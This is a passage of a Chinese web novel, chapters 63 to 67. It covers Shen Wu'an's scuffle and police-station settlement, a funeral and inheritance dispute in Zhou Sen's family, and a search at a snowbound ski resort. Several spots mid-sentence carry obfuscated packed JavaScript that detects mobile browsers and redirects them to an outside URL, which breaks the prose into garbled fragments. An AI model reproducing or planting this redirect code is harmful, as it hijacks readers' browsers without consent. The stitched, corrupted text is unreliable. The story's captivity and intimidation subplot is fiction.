这不是沈吾安第一次遇到这样的情况,这次她的情绪很稳定很多。她照常更新账号,推送新产品,即使谩骂声从未停止,订单也跟着直降。 沈吾安突然变得有些空。她在闲暇时终于有时间研制新的药香,还根据周森的身体状况,贴身定制了一款香囊放在他的卧室。 今年入春后雨水特别多,天空一天到晚都是灰的。 这天沈吾安醒来,总觉得心神不宁,浮躁难安,还特地燃了很久的宁神香,可效果甚微。 周森自前天起就一直在咳嗽,今早通话时,他的声音从电话那头传来,简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191303|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪比破铜锣,沙哑难听。 她熬了止咳汤给周森,打算装在保温杯里给周森送去。 可翻遍柜子都没找到保温杯,只好换了衣服去超市。 她是在门口换鞋的时候,接到沈竟思的来电。 反常的沉默后,沈竟思哑着嗓子说:“姐,我从青训队退出来了。” 沈吾安愣怔几秒,第一反应是周文州的爪子伸到了沈竟思身上,但很快又听到沈竟思解释:“我发现我好像不是打职业赛的料,没那天赋。” 沈吾安暗松口气,笑问:“打不过人家?” “打不过。”沈竟思很直接:“反应能力和预判能力都比不过人家,所以我昨天和教练提了退出的想法。他同意了。” “你现在什么打算?学业没拉下吧?” “没有,今晚就搬回宿舍了。” “既然都决定好了,怎么还给姐姐打电话?”沈吾安温柔地问。 “我就是有些迷茫。”沈竟思闷闷地说:“突然不知道自己该干什么,我以为我是有天赋的,但其实不是。” “我记得你以前也很痴迷中医和药材,什么时候变得不喜欢了?” “你离开家的那天。” 沈吾安顿顿,酸涩立刻涌上喉咙,直教她满嘴发苦。 “小竟,不要把别人的错惩罚在自己身上。也不要……”沈吾安做了个吞咽,咽下哽咽:“不要因为我的事而对中医和药材学产生抵触心理,错的从来不是它们。我一刻也不曾放弃我的热爱和梦想,希望你也能早日找回初心。” 沈竟思长时间沉默着。 那头似乎有人进门,沈竟思和沈吾安说了声“稍等”,就放下手机去和人交涉。 很久才重新拿起手机,惊讶急促地说:“姐,周先生怎么突然把战队卖给别人了?” 答案了然于胸,沈吾安却仍失语半晌。 - 春雨淅淅沥沥地自头顶落下。 沈吾安走出小区大门才意识到自己没打伞,忍不住自嘲,她今天果然有些心不在焉。 路上行人不多,偶有几个经过皆是行色匆匆。 沈吾安顺者天桥拾阶而上,行至半途突闻背后有人疾跑而来。正打算避让,却那人重重撞了肩膀,差点摔落下去。 她堪堪抓住扶手才稳住身体。 那人却连道歉都没有,头也不回地继续往上跑。 沈吾安荒唐地停在原地,只觉得可笑。 天桥这么大,他非要跑到她身边挤兑她一下,找她的不痛快。 连日的压抑和委屈,在这一刻就像是到达沸点的开水,再无法保持平静。 她连跨几步追上那人,一把抓住他的卫衣帽子,将他狠狠往一扯,疾声厉色道:“和我道歉!” 那人莫名回头,鸡窝般的黄色短发下,有一双倒三角眼,恹恹翻了她一眼,反问:“你有病?” 沈吾安执拗地盯着他:“道歉!” 鸡窝头反手挣了下,没挣开,怒道:“找死吗?” “道歉!” 鸡窝头还想挣脱,猛得往后一甩胳膊,谁知用力过猛导致失去平衡,眼看要摔下楼梯。 他眼疾手快抓了沈吾安一把。 64.Chapter 064 Chapter 064 阮松青在警局大门外看到并排“罚站”的两位熟面孔,都是周森经常带在身边的保镖。 他停下脚步,嬉皮笑脸地冲他们挑了下眉:“你们惨咯,等阿森找你们喝茶吧!” 说完他笑眯眯地迈进派出所,慢悠悠绕着警局扫视一圈,在休息区找到了即将化身河豚的沈吾安。 她对面斜躺着位身着黑色衬衫,破洞紧身牛仔裤的黄毛青年。 黄毛捧着胳膊哀嚎一声,沈吾安就气鼓鼓地瞪他一眼。 他在来时听周森说了大致情况,只知她和人在过街天桥上起争执,双方略有拉扯。对方还不慎受了点轻伤。 本以为不是什么大事,连民警都建议私了。谁知竟让阮松青见到了“发怒”的沈吾安,他实在猜不到对方到底做了什么,能让平时岁月静好的好好女士气成这样。 “安安!”他扬声喊她。 沈吾安循声望来,脸上留有未消的怒意。周森应该和她交待过他会代替他来警局,所以她并不意外,用眼神随意地和他打了个招呼。 “还好吗?”走到她身边后,他问。 沈吾安欲语还休地提口气,最终什么都没说,只是不屑地转过头不再继续面对黄毛。 阮松青斜了黄毛一眼,又问沈吾安:“他欺负你?” “我欺负她?!”黄毛几乎跳起来,顾不得手上的伤,怪声叫道:“有没有王法了?她把我推下楼梯!怎么还成了我欺负她!” “我没推你!”沈吾安怒目圆睁:“而且你也没摔下去!不信你再去看一遍监控录像。” “反正我手断了,你得陪我医药费。我的手就是因为你断的,你说是不是吧!”黄毛作出无赖模样。 沈吾安此刻只恨她刚才为什么非要找他要个道歉,平白惹一身骚。 “手断了?”阮松青故作惊讶。 “对,就这。”黄毛托举起手臂,“哎哟”一声痛叫后哀怨道:“磕在台阶上了,痛得很!肯定断了!” “怎么不去医院?”阮松青想细看,黄毛却突然收回了手。 他把手臂藏进怀里,戒备地问:“你干嘛?” “我看看是不是断了。” “你的眼睛是X光吗?看一眼就能知道断没断?” 沈吾安不耐:“你的眼睛也不是X光,怎么就能断定你的手断了?” “我的手我还不知道吗?!” 眼看黄毛就要扯着嗓子跳到沈吾安面前去,阮松青重重拍了下他的肩膀,把他按回座位,沉声说:“所以还是去医院吧。” “我不去!”黄毛变脸:“我对医院有心理阴影,你让她赔我钱,拿了钱我自己会去找医生,犯不着你们操心!” “想要多少?”阮松青好脾气地问。 黄毛立刻伸出五个手指:“五万。” “五万?”阮松青不明意味地笑笑,回头看了眼工作台后各自聊天的警察,确认他们的注意力不在他们这儿。又问黄毛:“一只断手?” “对。”黄毛不以为然:“劳动人民的手,五万,不过分吧?只要钱到账,我绝不纠缠!” 阮松青点点头,背对门外抬手弯了下食指和无名指。 两名保镖立即出现在门口。 本来放松的几名警察瞬间惊觉地转过头。 阮松青笑着解释:“是我的朋友,送我过来的。” 说完他重新把注意力放回黄毛身上:“五万,一只劳动人民的断手,对吧?” 黄毛后知后觉感到不安。 “怎么付款?”阮松青始终一副和善面孔:“手机转账还是现金?” “我……”黄毛犹豫。 “现金吧?”阮松青替他下决定,笑眯眯转回头,礼貌地问民警:“你好,警察先生。我们决定私了了,请问哪里有取钱的地方?我赔点医药费给这位伤员。” 民警:“斜对面就有自动提款机。” “走吧?”阮松青笑着示意黄毛。 笑里藏刀以一种非常明显的形象生动地表现在他的脸上。 黄毛机敏地拒绝:“我不去,我就在这等你。” “这不行,那也不行。”阮松青露出一丝不耐:“不如我再加十万,买你两条腿?” 黄毛脸色骤变:“这是法治社会,你想干嘛?” “这是法治社会,我能干嘛?”阮松青皱眉反问。问完后他拿出手机,解锁屏幕看了眼。手机画面停在类似于监控录像的画面,画面里有一团白色的模糊形状。 不待沈吾安细看,他就收起手机。 大抵是彻底失去了耐心,他对她歪了下头:“我们走?” 黄毛见状急忙高声呼喊民警:“警察同志!他们要逃!” 方才回答问题的那位民警头痛地捏了下眉心:“是您先撞到沈女士身上,您有错在先。互相说声对不起,这事就能翻篇了,到底还想干什么?” “我手断了!”黄毛怪叫。 “那就去医院做伤情鉴定!” 哪边都找不到站在自己这队的人,黄毛憋屈道:“那就五千吧,手机转账就成。” 阮松青叹口气,正要发难。身边的人突然一阵风般窜到黄毛面前,眼疾手快抓起他的胳膊,用力一捏。 黄毛的惨叫声音应声而起:“啊——!!!!!” “没断。”沈吾安冷静地看着他:“脱臼而已。” “你……你…… ”黄毛痛得直抽冷气。 沈吾安一脸冷静,在众目睽睽之中左手抓着他的小臂,右手握住他的手,二话不说就猛一用力。 在黄毛再次响彻云霄的哀嚎中,她嫌弃地退后一步:“现在好了。” 黄毛:“你……你!” “如果不接受被我治好,我也可以再让你的手脱臼回去。”沈吾安淡声道:“很快,但不保证无痛,你觉得呢?” - 十分钟后,沈吾安在阮松青的陪同下走出警局,然后上了停车场的黑色商务车。 又过了几分钟,满脸惨白的黄毛才从大门里摇摇欲坠地晃悠出来。 车上,阮松青单手撑着下巴笑,问她:“他手真脱臼了?” 沈吾安脸色仍然不好看:“嗯。” “我以为你给他捏脱臼的。” 沈吾安不解地看他一眼,没有说话。 “既然你能治好他,怎么跟他在警局耗那么久?” “他不让我走,也不让我碰。”沈吾安说:“我找不到机会。” “给阿森抱个平安吧。”阮松青收住话题。 等沈吾安打开聊天界面,他才跟着拿出手机。 画面仍然停留在刚才的界面上,他盯着手机看了半天,然后伸出手指戳在屏幕里那团白色的东西上。 “这是监控录像?”沈吾安突然出声。 阮松青连忙熄屏收起手机,警觉地转头看她。 见沈吾安神色如常,才放松下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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司机也将车子开到不远处的停车位,只留下周森和阮松青两人。 周森沉默数秒,问:“不是他们的人?” “看着不是。”阮松青说:“我试探了下,感觉就是安安运气不好,遇到个无赖。” “让人再跟几天。” 阮松青笑:“盯着呢。” 下过雨后气温又变得很低,阮松青没站一会儿就觉得冷,想立刻就回家。 他原地跺跺脚问周森:“你打算和你爸斗多久?按照现在这形势发展下去,是要把我的底裤都拿去当吗?” 周森嫌弃地笑:“不至于。抗不下去,你就回去找你爸。周文州不敢动到你爸头上。” “你呢?老伦斯的项目能拿下来吗?” “问题不大。” “问题不大就是还有问题,那这问题出在哪?”阮松青皱眉。 “他要我亲自带产品和团队去R国,确保程序能正常运作。” “什么时候?”阮松青惊讶。 “就安排在这几天。” “这几天?你现在出去,沈吾安怎么办?你不怕你回来,沈吾安就查无此人了?” 周森表情很淡:“所以我打算带她一起去。” “也好,顺便当散心了。”阮松青说:“回来继续战斗。” 周森原本也是这么打算的,谁知在他们抵达R国的第三天的凌晨,他突然收到太爷爷过世的消息。 65.Chapter 065 Chapter 065 周老太爷过世的消息打得一行人猝不及防,数据测试都在准备阶段,尚未正式开始。 周森接到电话时,正站在Lawrence的办公楼里。身前连排的电脑正同时高速运作中,细微的变动都会由组长报告给他,等着他做决定。 而同时周文州安排的私人飞机已在R国首都的机场等候。 周森挂了电话,第一时间和不远处的Lawrence解释不得不离开的缘由,并保证自己会二十四小时待机,绝不会错过任何一个电话。 接着他披上大衣坐上驶向机场的车。 由于时间紧急,项目组长李澄不得不和他一起前往机场,以便周森在路上向他交待他离开后的各类事项安排。 R国的四月,气温仍然很低。纵使是正午,最高温度都不会超过十度。听说上个星期R国最北的城市还在下雪。 李澄坐在暖气十足的车厢里,听周森有条不紊地一一分配任务要点,神情和平日毫无二致,是惯有的严厉和从容不迫。但几十分钟前,他其实听到了周森和Lawrence的对话,知晓他家里有人过世。 能让周森都如此匆忙赶回国的人,必定不是周家的小人物。 然而从周森的脸上,他看不出任何端倪。 交待完重要事项后,周森咳嗽了一下,低声对坐在副驾驶的他说:“我打个私人电话。” 李澄明白他这是要他回避的意思,但车厢空间狭小有限,他还能避到哪里去,只能佯装忙碌。 周森大概也是出于无奈,很轻地叹了口气,然后选择邀请通话。 三秒的安静。 他听到周森开口说:“喂。” 李澄几乎在这一声“喂”的同时,就不可自控地转头瞟了眼周森。因为他从未听到过在他眼里强大到几乎无所不能的周森用这样的语气说话。 温柔的,松弛的,又带着点从未在外人面前透露过的疲惫。 听不到对面说了什么,只是不一会儿周森又说:“我有点事要回国一趟,大概需要几天。” 停顿数秒,他用更低的声音解释:“最好不要,你在这里更好。我会安排几个人过来,有任何需要你找他们就行。” 然后是更长的沉默,李澄听到周森说:“我没事。” - 接近十二小时的飞行,周森一刻都没合眼。有太多的事情等待他去处理,他只在喘息的间隙会想起和太爷爷的过往。 事实上关于太爷爷的回忆,也不需要花费十二小时那么久,或许一个小时就足够了。 他的亲情缘份向来浅薄,从未见过爷爷,有段时间还错误地认为太爷爷就是大家口中的爷爷。因为太爷爷完全符合其他小朋友口中有关于爷爷的描述:和蔼可亲,总是笑眯眯,会背着父母带他买五颜六色的糖果,即使他打小只在逢年过节时候才会见到太爷爷。跳跃着闪过的记忆画面都是笑容可掬的太爷爷和沉甸甸的红包。他能想起来的太爷爷说过最多的话也就是:“阿森乖。” 周森不算长的前半生里,连父母都对他的顽劣固执感到头疼不止的岁月里,只有太爷爷总对他说过:“阿森乖。” 想到这里,他的心莫名开始滋生密密麻麻的酸涩。可其实太爷爷年事已高,大家对他的离开早有准备。更何况周文州在电话里简短交待过,太爷爷是在睡梦中走的,他没有痛苦。 是喜丧。 - 沈吾安在网上刷到了周氏上一任董事长葬礼的视频片段,还在官媒的报道中了解到关于周老太爷的生平,称他是影响到一带经济形势的伟人。 照顾到周氏,关于葬礼仪式的画面只是一闪而过,然而沈吾安还是从中找到了周森的身影。 他背对镜头跪坐在周老太爷的棺木前,几米外是侧身于人交谈的周文州, 周围的人三五成群,结伴而行互相慰问。唯独他一人垂首静思。不到十秒的镜头,他纹丝未动。 沈吾安猜不到他在想什么,心情如何。为什么始终低头,又为什么沉默不语。再也忍不住思念,当即拿起手机,给周森发了条信息。 然而他却久久都未回信。 直到接近深夜,她才收到周森的消息,问她:【睡了吗?】 唯恐周森久等,她连忙回复:【没有呢!】 周森问:【电话?】 沈吾安用邀请语音通话替代回答。 语音接通那一刻,她就迫不及待地喊他的名字:“周森。” “我在。”他的声音里透着疲惫后的沙哑:“怎么还没睡?” “担心你。”沈吾安直白地回答,又问:“你刚空下来吗?” “嗯。” 已经接近凌晨五点,天边开始蒙蒙亮,再过一会儿太阳就会升起。 周森却睡意全无。 老太爷中午下葬,晚上周文州久和周森在周家老宅大吵一架。 周老太爷的遗嘱里,百分之九十的股份都归属于周森,而不是周文州。宣布遗嘱的时候,在场的人听到这里都变了脸色,更不论周文州。 周文州绷着脸直到众人散场,他单独留下周森,欲从他这了解除夕那晚,他究竟和老太爷承诺了什么,骗得老太爷把大部分股份都让与他。 周森自是无可奉告,态度冷硬拒不配合。新仇旧恨叠加,惹得周文州大怒。 再往前数一天,周文州都能理直气壮地让周森滚,但现在持股百分之三十的周森,已有足够权利对周氏的运营产生重大影响,无论如何也不是周文州让他滚便能滚的人。 通话那头长时间的沉默,沈吾安愈发担心,忍不住问:“你还好吗?” 周森静了静,轻声说:“我想你了。” “那我现在就订最近航班的机票回去?” 周森心头一松,几乎是立刻就打开订购机票的APP,然而还未输入出发地,他就自嘲一笑,道:“不用了,你等我回去。” “李澄说周末他们要去山上的度假村,还说我也在名单里。” 周森听到这里,终于露出这几天以来的第一个笑容,极轻也极淡:“是我安排的,本来还以为能和你一起。” 离周末还有四天,沈吾安惊讶地问:“你到周末都没法回来吗?” 周森只说:“我尽量。” 沈吾安忧心周森的身体,得知他九点还有董事会,便迫不及待地催他去睡觉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318248|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周森笑着应了。 结束通话,他并没有回房,反倒站在冰箱边喝了半瓶冰水,然后坐到沙发上漫无目的地出神。 他和周文州最后不欢而散,随后他在荷寂轩偶遇这几年一直贴身照顾傅倾君的方阿姨,她应该是早早就等候在前往停车场的必经之路,就为了把精心准备的点心交给他。 周森本不想收。 奈何王姨又劝:“倾君说你这几天没吃什么东西,盒子里装的都是你小时后爱吃的点心,不管吃不吃得下,强迫自己也要吃两口。熬坏了身体,最难受的还是自己。” 周森闻言侧头去看厅内圆桌边的傅倾君。 她端坐在红木圆凳上,垂眸认真倾听长辈讲话。好似对他这边发生的一切毫无觉察。 周森接过王姨手里的锦盒,再次偏过头去看傅倾君。 她仍是那副表情,侧脸眉眼轮廓精致又冷淡。 回到车上,周森打开锦盒随手挑了快点心放进嘴里。 点心完全冷却,外表也已发硬,卡在喉咙半天也无法下咽。 - 地球的另一端,沈吾安同样在失眠。 她辗转反侧到平日赵浅起床的时间点,点开赵浅的聊天框,想和她聊聊天。最近她被诸多琐事烦得焦头烂额,很久没和赵浅闲聊。 上次对话还是在半个月以前。 赵浅从未有过这么久都不联系她的情况,沈吾安登时睡意全无,从床上坐起来拨打赵浅的语音通话。 连拨六七次都无人接听。 沈吾安直觉不对劲,转而用文字消息联系赵浅。 五分钟后,她终于收到赵浅的回信:【在。】 沈吾安再次拨打视频通话。 通话接通,那头却没有画面。 沈吾安焦虑地问:“你怎么了?没事吧?” “没事。”赵浅略微沙哑的声音自那头传来,带着些笑意:“还在睡呢。” 沈吾安仍觉得不对劲:“工作日,你睡到现在?” “我现在是老板,爱睡到几点就几点。” 沈吾安还是不信。 赵浅反常地停顿数秒,有气无力地说:“昨晚加班了呀,你知道我几点才睡吗?” 沈吾安:“……” “找我什么事啊?我最近可忙,不是大事估计帮不了你。” 沈吾安皱眉直勾勾盯着屏幕。 赵浅没有开视频,但她开了。 沈吾安知道赵浅看得到她。 “你打开摄像头,让我看一眼。”她收起表情说。 “没洗脸呢,有什么好看的。” 沈吾安冷声:“赵浅。” 那头轻叹一口气,然后随着开关切换“哒”地一声,赵浅明艳的脸出现在镜头前。 她的脸色略显苍白,但唇色很红,若隐若现的颈脖间藏着好几个吻痕。 沈吾安登时睁大双眼:“你……” 赵浅又笑了一声,关掉画面:“说了没什么好看的,你非要看。” “你什么时候……”谈的恋爱? 赵浅不看她都知道沈吾玩现在保准面红耳赤,忍不住调笑:“谁跟你家周森似的,中看不中用。” 66.Chapter 066 Chapter 066 前往R国的飞机上,阮松青刚入座就问空乘连要了好几杯烈酒,仰头一口气喝完,然后拉上遮光板在隔壁舱位蒙头大睡。 周森无可奈何地靠窗位处理工作邮件,隔几分钟就看一眼手机。登机前他给沈吾安发了消息,也告诉她,他这次带着阮松青一同前往,可迟迟没有收到回复。 周森耽误了不少时日才重新踏上前往R国的航班,同行的还有刚遭受情感冲击的阮松青。最近他因为和周文州对着干,成了众人茶余饭后的谈资。谁知阮松青连这点都不甘落后,上赶着制造八卦,和他一起被端上桌议论。 说起来这是阮大少爷第一次遭遇这番不如意,已经到茶饭不思夜不能寐的地步。把他那棒打鸳鸯的亲爹吓了个够呛。前天亲自找上门,态度诚恳地请求周森开导他那不孝子,放言道只要能让阮松青重新振作,他绝不会过问任何细节安排,而且愿意在生意上给予适当的帮助。 当然,唯一的前提是不能让他再回头去找那位赵浅姑娘。 阮松青和赵浅分分合合,周森刚开始只当是两人暗通款曲不慎暴露。谁知见到阮松青本人才知道,他竟把人抓起来关了大半个月。要不是那女孩想办法跟阮松青的父亲联系上,他到现在还瞒着全世界。 眼看还有半小时降落,周森有些头痛地揉了下眉心。他记得赵浅是沈吾安的好朋友,现在他的好朋友对他心上人的好朋友做了很不好的事,他有些不知怎么面对沈吾安。他甚至担心沈吾安的不回复,是在气他这时候还带着阮松青。 是见面直接说,还是等到两人私下相处的时候再娓娓道来?周森在万米高空上犹豫不决,沈吾安看着温柔平和,但他深知她真生气起来,会有多难哄。 只是这个选择难题在周森抵达R国首都机场的那瞬间便被打消了。 沈吾安所在的滑雪度假村突逢几十年难得一遇的橙色降雪预警,唯一能通往山顶的路被大雪覆盖,考虑到安全隐患问题,当地封锁了上山的路。 雪上加霜的是,山上的通信也在几个小时前因为暴雪不幸中断。 阮松青忍着恶心靠在商务车的后座,猝不及防听到暴雪二字,立即条件反射地朝身边看去,果然看到瞬时满脸煞白的周森。 他一瞬不瞬盯着周森的反应,眼看周森的的脸色越来越差,出声宽慰:“他们待在度假村里不会有事。等晚点路通,我和你一起上去接她。” 身旁的周森却始终一言不发。 阮松青担心:“阿森?” 周森从手机中抬头,屏幕上显示着通网度假村的导航路线,大片的红色和预警。他对此置若罔闻,冷静地问助理:“上山的路大概什么时候能通?” 助理明白周森话语背后的意思,看了眼时间,为难地说:“今晚不一定。” 周森理解地点点头,又说:“再给我安排一辆车。” 阮松青本来恹恹地半躺在椅背上,闻言瞬间来了精神,抬眉问周森:“你要去山脚等?” 周森默认。 “一起去呀!”阮松青笑起来,用R国语言询问司机:“我们改变目的了,现在出发往去山上。” “山上?”司机语调怪异地反问:“都堵住了,今晚都不一定能通。” “没关系,我们现在就去。”阮松青说。 司机仍不同意:“先生,我要下班了。” 阮松青最近心情很差,懒得和他多费口舌,直截了当地问:“什么价格能让你送我们过去?” 司机犹豫数秒报出价格,阮松青笑着说:“我出四倍,现在出发吧。” 周森低头按着手机,没有搭理阮松青,任他由着性子发泄。 沈吾安仍旧没回消息。 一开始他只以为是沈吾安在忙,后来他又把沈吾安难得的断联归咎于飞机上的Wi-Fi不行。怎么也想不到竟是因为暴雪。 想必山上的信号仍然不稳定,所以至今没有沈吾安的回复。 周森握紧手机,长出一口气,却始终不能疏散心头的郁结。关于暴雪,他有过太多不好的记忆,所以不管别人怎么告诉他都没用。 唯有见到本人,他才能安心。 - 暴雪在接近凌晨四点的时候终于缓缓停止。 载着周森和阮松青的商务车停靠在清扫积雪工程的不远处,跟随工程车的进度而缓慢移动。 途径半山腰的加油站,周森去便利店买了几杯热咖啡回来。随着咖啡醇厚的香味弥漫遍车厢,困顿疲惫的几人才短暂放松。 阮松青喝咖啡也跟喝酒似的,仰头一口气闷完,随后意犹未尽地盯着纸杯出神。 周森给沈吾安发完消息,转头问他:“回去给你买瓶酒?” 阮松青头痛欲裂,偏精神诡异得亢奋:“我看了下,便利店只有啤酒和cider。” 言下之意是嫌弃度数低。 周森不赞同地摇头,找不到人那次都不见他这么疯,这次不知是中了什么邪。 前天见面到现在,他发现他只喝了酒和咖啡,不用想都知道现在身体该有多难受。 “决定不处了?” 左右积雪一时三刻清扫不完,沈吾安想必也已入睡。周森决定和阮松青在开着暖气的车厢内谈谈。 阮松青哂笑:“不处了。” “你怎么想的?”周森正色:“没对人做什么过分的事吧?” 阮松青仍在笑,突然觉得啤酒也是酒,后悔刚才没带几瓶上车。 他不答反问:“你怎么让沈吾安同意和你在一起的?” 这问题让周森沉默,他觉得感情是相互的,三言两语并不能将其概括。沈吾安同意和他在一起,不是他一个人的努力,还有沈吾安的勇敢和决心。 等不到周森的回答,阮松青又自言自语地开口:“心给了,钱给了,人也给了,怎么赵浅还要这么做?” 他做梦都想不到,赵浅走投无路之时,竟不惜联合他父亲。 他真有这么不堪吗? “我想不到还能给什么。”阮松青自嘲地笑:“除了离开我,她什么都不要。” 周森无言地看着他。 “换做你,你会怎么做?”阮松青用拇指狠狠按着太阳穴:“我可以做到和你一样,和我爸对着干,也可以把她藏到我爸伤害不到的地方,但她都不要。” 周森拍拍他的肩:“既然决定放弃,就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436986|126109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了。” 阮松青有气无力地翻了个白眼:“是你要问我的,我本来并没有在想这些。” “是,我的错。” 阮松青:“……” - 天亮后,雪就完全停了。 李澄在房间待得发闷,于是带着手机到酒店大厅点了杯现磨咖啡,坐在壁炉边烤火玩手机。 选完英雄等待游戏开始,他端起杯子惬意地品了口苦到心尖尖的现磨双倍浓缩。余光注意到有两位瘦高的男士进门,他随意地掀起眼皮扫了一眼。 嚯!肩宽腰窄大长腿,一看就是常跑健身房的。 李澄酸溜溜地把注意力放回到游戏上,突然感觉不对,猛得再次抬头,看到自家老板裹着一身风霜朝他这边大步走来,身后跟着他的朋友。 明明不是上班时间,他还是立即放下手机,从沙发上弹射起身,打招呼:“老板!” 阮松青注意到他的手机界面,笑着问:“打游戏呢?我替你打一局?” 李澄尴尬地看着他笑,拿不准阮少爷这奇怪的要求是出于真心,还是开他玩笑。 正犹豫着,对面的阮松青朝他伸出手:“他估计有话问你,我手法还不错的,我来玩吧?” 游戏发出进入游戏的提示音。 李澄犹豫地去看周森,见他的确是一副有话问他的表情,便把手机交给阮松青。 “其他人呢?”周森终于开口问。 “去滑雪了。”李澄盯着周森,老实回答。 只是答完,他感觉自家老板的脸色更不好看了。想到老板的女朋友也在滑雪的队伍里,连忙解释:“本来安安姐不去的,但Zane非要拉着我去,她就替我去了。” Zane?老伦斯的独生子? 周森蹙眉:“她替你去?” “昨天我和Zane约好今天雪停一起滑雪,可我昨晚在浴室里摔了一觉,尾骨一直很疼。”李澄说着又觉得尾骨开始痛:“早上吃早饭的时候跟Zane说我今天不能去滑雪,他看上去不太高兴。然后安安姐正好在我们隔壁桌,就说她替我去。” 阮松青的游戏画面转为黑白,他从屏幕中抬起头,八卦地问:“Zane也来了?大少爷这次也自带阿尔卑斯山脉的矿泉水吗?” 李澄听不懂他在说什么,但Zane少爷这几日对沈吾安的态度很微妙。 他偷瞄了眼面色不虞的周森,斟酌着用词道:“Zane好像很喜欢安安姐,这几天总绕着安安姐转。” 阮松青忙中偷空,给李澄一个一言难尽的眼神。 周森同样奇怪地盯着李澄看了半晌,低沉地问:“滑雪场怎么走?” 李澄立即狗腿地伸长手臂替他指引方向:“前台有专车接送。” 送走周森和阮松青后,李澄重新拿回游戏的主导权,震惊地发现个人游戏战绩:26-7-2。 游戏对话框里,对方射手正在全部频道问:【什么仇什么怨?对面打野,我抢你老婆了吗?】 而我方辅助也在队伍频道礼貌发问:【你是孤儿吗?】 李澄苦着脸从水晶爬起来,心里奇道:怎么被人挖墙脚的是周总,发神经的是阮大少爷? 67.Chapter 067 Chapter 067 度假村坐落在美丽浪漫的山谷尽头,海拔高达2300米。周围山峦壮阔,高峰耸立,白雪四季覆盖,是非常热门的滑雪胜地。 周森坐着缆车一路向上,前往初级滑雪道。他留学时期来过好几次,只因这里雪况极佳,雪道落差也大。 换句话说,不适合新手。 所以沈吾安这样没有任何滑雪经验的新手,即使去这里的初级道,仍然会有不少隐患。 他猜测沈吾安应该会留在初级雪道练习。可是这概率因为跟在她身边的同伴是Zane而大幅度变小。相信Zane能替别人考虑,不如祈祷山神显灵。 他在几分钟前给沈吾安发过消息,仍旧没有得到回复。 周森承认他现在的心情非常不美妙。 眼下他只能凭直觉去他认为可能性最大的缆车站碰运气,如果没有,那就再换到难度系数再高一些的缆车站。 周森的气压低到难以忍受,阮松青更担心的却不是这个:“不是答应你妈不再滑雪了吗?” 周森的视线扫过缆车下正在滑雪的人,闻言淡淡道:“我没说要去。” 他和周森都穿着滑雪服,头盔口罩一样不少。周森的否定压根没什么说服力。 “万一Zane少爷带沈吾安去高级道了呢?”阮松青大胆猜测。 周森冰冷地横他一眼。 阮松青立即高举双手,示意自己会闭嘴。默默祈祷他们能尽快找到沈吾安,只是以他和周森目前的气运看来,事情不会那么顺利。 果然,他们并没有在缆车站遇到人,更惨的是他们又辗转了三个地方,还是没遇到熟人。 阮松青也尝试着帮周森联系别人,但山区信号覆盖率并不是那么好,等待发送的圈圈转了又转,老半天才成功发送。 就在阮松青打算提议周森回酒店等待的时候,他们竟在其中一个缆车站旁的小咖啡店里遇到了程序部的几个员工。 见到周森,本来嬉闹的几人立刻正襟危坐,眼观鼻鼻观心地和周森问好。 阮松青看多少次都觉得好笑,忍俊不禁地问:“怕什么?” 几人连连摇头,挤在一起偷偷打量自己老板的脸色。有好长一阵子了,都不太好看,今天尤其黑。 “见到Zane了吗?”阮松青又问。 “五分钟前Zane刚拉着安安坐上去中级难度的雪道。”有人答。 安安? 周森看他一眼:“哪个中级道?” 那人被周森这一眼看得浑身一激灵,连连摇头:“Zane没说,只说滑行一趟大概二十分钟,要我们在前面的餐厅等他们一起午饭。” 周森没出声。 他不出声,阮松青也不出声,剩下的人更不敢出声。 身后有脚步声接近。 周森回头,看到的是他安排在沈吾安身边的两位助理。 “周先生。”两人同时打招呼。察觉到室内氛围冷硬,警觉地交换了个眼神。 周森面无表情地看了他们数秒,问:“沈吾安呢?” 其中一人恭谨地答道:“和Zane去滑雪了。” 周森得到几分钟前就知道的答案,脸上神色没有任何改变,语气也没变化,只是重复:“我问你,沈吾安人呢?” 排山倒海的压迫感扑面而来,两人瞬时明白他们犯了错,怯懦地低下头不敢与周森对视。 周森的问题被撂在半空中,没人敢答。 他没时间浪费在他们身上,转身走向缆车站。 阮松青不擅长滑雪,初级道都够呛,更何况周森要去的中级道。只是想到他真的打算去,还是忍不住劝:“你真的要去?” 周森“嗯”了声,头也不回地往前走。 阮松青皱眉紧跟其后:“不是,你没问题吗?你多久没滑了?” 下一辆缆车就在眼前,周森穿上单板做好准备。 阮松青仍不放心:“你那个心理阴……” 